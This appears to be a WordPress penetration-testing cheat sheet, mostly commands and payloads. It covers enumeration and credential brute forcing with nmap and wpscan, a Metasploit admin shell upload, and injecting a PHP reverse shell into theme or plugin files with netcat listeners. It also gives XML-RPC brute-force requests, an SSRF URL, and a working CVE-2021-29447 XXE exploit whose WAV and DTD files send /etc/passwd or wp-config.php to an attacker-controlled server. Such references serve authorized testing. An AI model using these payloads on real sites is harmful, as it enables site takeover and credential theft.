WordPress Pentesting

Last modified: 2023-12-06

CMS Web

WordPress is a content management system.

Enumeration

nmap --script http-wordpress-brute
nmap --script http-wordpress-enum --script-args type="plugins",search-limit=1500 -p 80 <target-ip>
nmap --script http-wordpress-users -p 80 <target-ip>
nmap --script http-wordpress-* -p 80 <target-ip>

WpScan

Wpscan is a WordPress security scanner which can brute force credentials.

wpscan --url http://<target-ip> -P wordlist.txt

# --rua: random user agent
# --http-auth username:password
# -e: enumerate
#  ap: All plugins
#  at: All themes
#  tt: Timthumbs
#  cb: Config backups
#  dbe: Db exports
#  u: User IDs range
#  m: Media IDs range
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url https://vulnerable.com -P /usr/share/wordlists/rockyou.txt

# Specifify username (-U)
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url https://vulnerable.com -U username -P /usr/share/wordlists/rockyou.txt

Version Detection

There is the meta tag for WordPress in the head tag of the HTML source code.

<meta name="generator" content="WordPress x.x.x" />

Common Directories

/author/admin/
/index.php/author/admin/
/license.txt
/readme.html
/robots.txt

/wp-admin/
/wp-admin/admin-ajax.php
/wp-admin/upload.php
/wp-content/
/wp-content/uploads/
/wp-includes/
/wp-json/wp/v1/
/wp-json/wp/v2/
/wp-login.php

# Users
/?author=1
/?author=2

# Posts
/?p=1
/?p=2

# Private/Draft Posts (WordPress <= 5.2.3) 
/?static=1

Try to Login with Default Credential

Access to /wp-login.php and use the default credential in the login form.

admin:password

Reverse Shell

To achieve reverse shell, we need the admin credential.

Metasploit

msfconsole
msf> use exploit/unix/webapp/wp_admin_shell_upload
msf> set RHOSTS <target-ip>
msf> set LHOST <local-ip>
msf> set USERNAME admin
msf> set PASSWORD admin
msf> check
msf> run
meterpreter> shell

PHP Reverse Shell Injection

  • Themes

    1. Access to dashboard (/wp-admin/).

    2. Move to "Appearance" and select theme e.g. "Twenty Seventeen".

    3. Click "Theme Editor" or "Editor" in the "Appearance" section.

    4. In the theme editor, click "404 Template (404.php)" on the right.

    5. Copy and paste the script for Reverse Shell here. For Windows, this payload is available.

    6. Edit "$ip" and "$port" to assign local machine ip and port in the script.

    7. In your terminal, start netcat listener for getting the incoming connection from the website.

      nc -lvnp <local-port>
      
    8. Access "https://vulnerable.com/wp-content/themes/twentyseventeen/404.php". We should get the target shell in the netcat listener.

  • Plugins

    1. Go to Plugins → Plugin Editor
    2. Insert the PHP reverse shell code into the file (e.g. plugin_name.php) and update $ip and $port.
    3. Start netcat listener “nc -lvnp 4444” in terminal.
    4. Then access to https://example.com/wp-content/plugins/<plugin>/<plugin>.php
    5. We should get a shell.

XML-RPC (xmlrpc.php)

  • Get All Methods

    POST /xmlrpc.php HTTP/1.1
    Host: vulnerable.com
    ...
    
    <?xml version="1.0" encoding="utf-8"?> 
    <methodCall> 
    <methodName>system.listMethods</methodName> 
    <params></params> 
    </methodCall>
    
  • Ping Back

    Use PostBin to confirm the results.

    POST /xmlrpc.php HTTP/1.1
    Host: vulnerable.com
    ...
    
    <?xml version="1.0" encoding="utf-8"?>
    <methodCall>
    <methodName>pingback.ping</methodName>
    <params>
    <param><value><string>https://www.toptal.com/developers/postbin/xxxxxxxxxxxxx-xxxxxxxxxxxxx</string></value></param>
    <param><value><string>http://vulnerable.com</string></value></param>
    </params>
    </methodCall>
    
  • User Enumeration

    It’s recommended to use Burp Intruder or Turbo Intruder for brute forcing username/password.

    POST /xmlrpc.php HTTP/1.1
    Host: vulnerable.com
    ...
    
    <?xml version="1.0" encoding="utf-8"?> 
    <methodCall> 
    <methodName>wp.getUsersBlogs</methodName> 
    <params>
    <param><value>{username}</value></param>
    <param><value>{password}</value></param>
    </params> 
    </methodCall>
    

XXE (CVE-2021-29447)

If you have a normal user credential, upload the exploitable media (.WAV) with XXE and reveal sensitive information.
First off, create "exploit.wav".

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://<local-ip>:9001/exploit.dtd'"'"'>%remote;%init;%trick;] >\x00'> exploit.wav

Next create "exploit.dtd".

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!-- <!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=../wp-config.php"> -->
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://<local-ip>:9001/?p=%file;'>">

Then start PHP server in local machine.

php -S 0.0.0.0:9001

In target website, login as normal user and go to "Media", click "Add New".
Upload the "exploit.wav".
After that, open the WAV file. You should see the information is revealed in your console.

Decode Base64

To decode the Base64, create “decode.php” as following.

<?php echo zlib_decode(base64_decode('<Base64_Here>')); ?>

Execute the script to decode it.

php decode.php

SSRF

oEmbed Proxy

/wp-json/oembed/1.0/proxy?url=http://10.0.0.1/